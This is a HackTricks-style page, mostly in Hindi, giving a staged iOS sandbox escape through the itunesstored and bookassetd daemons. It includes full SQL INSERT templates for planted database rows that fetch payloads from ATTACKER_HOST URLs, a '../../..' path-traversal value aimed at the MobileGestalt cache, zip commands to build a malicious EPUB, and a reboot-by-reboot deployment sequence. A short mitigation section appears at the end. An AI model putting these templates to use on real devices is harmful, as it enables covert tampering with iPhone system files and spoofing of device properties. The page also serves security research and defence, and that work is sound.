itunesstored & bookassetd Sandbox Escape
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अवलोकन
हालिया शोध दर्शाता है कि दो प्री-इंस्टॉल iOS डेमन्स, itunesstored (downloads manager) और bookassetd (Books / iBooks asset manager), user-writable SQLite metadata पर अंधाधुंध भरोसा करते हैं। कस्टम downloads.28.sqlitedb और BLDatabaseManager.sqlite फाइलें तथा एक न्यूनतम EPUB आर्काइव रखकर, कोई भी हमला करने वाला जो /var/mobile/Media/ के अन्दर लिख सकता है, इन डेमन्स को मजबूर कर सकता है कि वे /private/var/ के भीतर अधिकांश mobile-owned पाथ्स पर मनमाने फाइल लिखें। ये primitives reboots के बाद भी बच जाते हैं और आपको system group caches जैसे systemgroup.com.apple.mobilegestaltcache को छेड़छाड़ करने की अनुमति देते हैं ताकि डिवाइस गुणों को spoof किया जा सके या configuration को persist किया जा सके।
मुख्य विशेषताएँ:
- Works on devices up to at least iOS 26.2b1 (tested on iPhone 12 / iOS 26.0.1).
- Writable targets include
SystemGroupcaches,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media, and othermobileowned files. Writes toroot-owned files fail. - Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.
खतरे का मॉडल और आवश्यकताएँ
- Local filesystem access to
/var/mobile/Media/Downloads/and/var/mobile/Media/Books/(via AFC clients like 3uTools, i4.cn, orafcclientover USB, or any prior compromise). - HTTP server hosting attacker files (
BLDatabaseManager.sqlite,iTunesMetadata.plist, crafted EPUB) exposed through URLs such ashttps://ATTACKER_HOST/fileprovider.php?type=.... - Ability to reboot the device multiple times to make each daemon reload its database.
- Knowledge of the Books system-group UUID so the Stage 1 write lands in the right container (found via syslog).
Stage 1 – downloads.28.sqlitedb का दुरुपयोग itunesstored के माध्यम से
itunesstored प्रोसेस करता है /var/mobile/Media/Downloads/downloads.28.sqlitedb। asset तालिका URL + destination metadata संग्रहीत करती है और इसे trusted input माना जाता है। एक ऐसी row बनाकर जो attacker URL पर पॉइंट करे और local_path को Books SystemGroup के अंदर .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite पर सेट करे, itunesstored को बूट पर attacker कंटेंट के साथ Books database डाउनलोड और overwrite करने के लिए मजबूर किया जा सकता है।
Books SystemGroup UUID का पता लगाना
pymobiledevice3से एक syslog archive इकट्ठा करें:
pymobiledevice3 syslog collect logs.logarchive
- Console.app में
logs.logarchiveखोलें औरbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqliteखोजें। <UUID>रिकॉर्ड करें और उसे SQL payload में बदल दें।
दुर्भावनापूर्ण asset row
स्टेज 1 INSERT टेम्पलेट
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/महत्वपूर्ण फ़ील्ड:
url: attacker-controlled endpoint returning the maliciousBLDatabaseManager.sqlite.local_path: ऊपर निर्धारित Books system-groupBLDatabaseManager.sqliteफ़ाइल।- Control flags: डिफ़ॉल्ट रखें (
asset_type='media',path_extension='epub', booleans set to 0/1 as in the template) ताकि daemon टास्क स्वीकार करे।
तैनाती
- रेस कंडीशनों से बचने के लिए पुराने
/var/mobile/Media/Downloads/*एंट्रीज़ हटाएँ। - AFC के माध्यम से
downloads.28.sqlitedbको तैयार किए गए DB से बदलें। - रीबूट →
itunesstoredStage 2 डेटाबेस डाउनलोड करता है और/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plistको ड्रॉप करता है। - उस plist को
/var/mobile/Media/Books/iTunesMetadata.plistपर कॉपी करें; Stage 2 इसे वहीं अपेक्षित करता है।
Stage 2 – BLDatabaseManager.sqlite का दुरुपयोग bookassetd के माध्यम से
bookassetd के पास विस्तृत filesystem entitlements हैं और यह ZBLDOWNLOADINFO टेबल पर भरोसा करता है। आक्रमणकर्ता-URLs और ZPLISTPATH में traversal का संदर्भ देने वाली एक नकली purchase row डालकर, daemon आपके EPUB को /var/mobile/Media/Books/asset.epub पर डाउनलोड कर देता है और बाद में metadata को किसी भी mobile-owned path में अनपैक कर देता है जो ../../.. escape sequences के माध्यम से पहुँच योग्य हो।
Malicious ZBLDOWNLOADINFO row
Stage 2 INSERT टेम्पलेट
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```महत्वपूर्ण फ़ील्ड:
ZASSETPATH: डिस्क पर स्थित EPUB स्थान जो अटैकर द्वारा नियंत्रित होता है।ZURL/ZPERMLINK: EPUB और सहायक plist होस्ट करने वाले attacker URLs।ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– EPUB से निकाले गए फाइलों के साथ append किया गया path traversal base। इच्छित SystemGroup target तक पहुँचने के लिए traversal depth समायोजित करें।- Purchase metadata (
ZSTOREIDENTIFIER, names, timestamps`) वैध प्रविष्टियों की नकल करते हैं ताकि daemon उस पंक्ति को न हटाए।
Stage 1 के ज़रिये malicious DB को /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite में कॉपी करने और डिवाइस को दो बार reboot करने के बाद, bookassetd (1) EPUB को download करेगा, (2) उसे process करेगा और derived plist को traversed path के अंतर्गत लिखेगा।
EPUB Payload तैयार करना
bookassetd EPUB ZIP फ़ॉर्मेट का सम्मान करता है: mimetype पहला अनकंप्रेस्ड एंट्री होना चाहिए। EPUB की सामग्री को MobileGestalt cache में मैप करने के लिए, ZPLISTPATH के सापेक्ष इच्छित पथ को mirror करने वाला directory tree बनाएं।
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
आर्काइव बनाएं:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypeआमतौर परapplication/epub+zipही होता है।Caches/com.apple.MobileGestalt.plistमें हमलावर-नियंत्रित payload होता है जो.../Library/Caches/com.apple.MobileGestalt.plistपर पहुंचेगा।
ऑर्केस्ट्रेशन वर्कफ़्लो
- Prepare files attacker HTTP server पर रखें और host/UUID-विशिष्ट मानों के साथ दोनों SQLite DBs तैयार करें।
- Replace
downloads.28.sqlitedbडिवाइस पर बदलें और reboot करें → Stage 1 maliciousBLDatabaseManager.sqliteडाउनलोड करता है और/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plistउत्पन्न करता है। - Copy
iTunesMetadata.plistको/var/mobile/Media/Books/iTunesMetadata.plistपर कॉपी करें (यदि daemon इसे हटाता है तो दोहराएँ)। - Reboot again →
bookassetdStage 2 metadata का उपयोग करकेasset.epubको/var/mobile/Media/Books/में डाउनलोड करता है। - Reboot a third time →
bookassetdडाउनलोड किए गए asset को प्रोसेस करता है,ZPLISTPATHका पालन करता है, और EPUB सामग्री को लक्षित SystemGroup path (उदा.,com.apple.MobileGestalt.plist) में लिख देता है। - Verify ओवरराइट किए गए plist को पढ़कर या यह देखकर कि MobileGestalt-derived properties (model identifier, activation flags, आदि) तदनुसार बदल गए हैं।
इसी पैटर्न से आप अन्य mobile-owned caches में भी फाइलें गिरा सकते हैं, जैसे FairPlay state या persistence निर्देशिकाएँ, जिससे kernel exploit की आवश्यकता के बिना छिपकर छेड़छाड़ संभव हो जाती है।
टूलिंग & ऑपरेशनल नोट्स
pymobiledevice3 syslog collect logs.logarchive– log archives निकालेँ ताकि Books SystemGroup UUID पता चल सके।- Console.app –
bookassetd [Database]: Store is at ...के लिए filter करें ताकि सटीक container path मिल सके। - AFC clients (
afcclient, 3uTools, i4.cn) – बिना jailbreak के USB पर SQLite DBs और plist फाइलें push/pull करें। zip– payloads पैकेज करते समय EPUB ऑर्डरिंग constraints लागू करने के लिए उपयोग करें।- Public PoC – https://github.com/hanakim3945/bl_sbx बेसलाइन SQLite/EPUB टेम्पलेट्स देता है जिन्हें आप कस्टमाइज़ कर सकते हैं।
डिटेक्शन & निवारण विचार
downloads.28.sqlitedbऔरBLDatabaseManager.sqliteको untrusted input मानें: सत्यापित करें किlocal_path/ZPLISTPATHअनुमोदित sandboxes के भीतर रहें और fully qualified paths या traversal टोकन को अस्वीकार करें।- उन AFC writes की निगरानी करें जो इन databases को बदलते हैं या boot के तुरंत बाद
itunesstored/bookassetdद्वारा शुरू किए गए unexpected downloads के लिए। bookassetdके unpacking को कठोर बनाएं ताकि output target कोrealpath()करके सुनिश्चित किया जा सके कि यह लिखने से पहले Books container से बाहर नहीं निकल सकता।- AFC / USB file copy चैनलों को सीमित करें या Books/iTunes metadata फाइलों के प्रतिस्थापन की अनुमति देने से पहले user interaction आवश्यक करें।
संदर्भ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

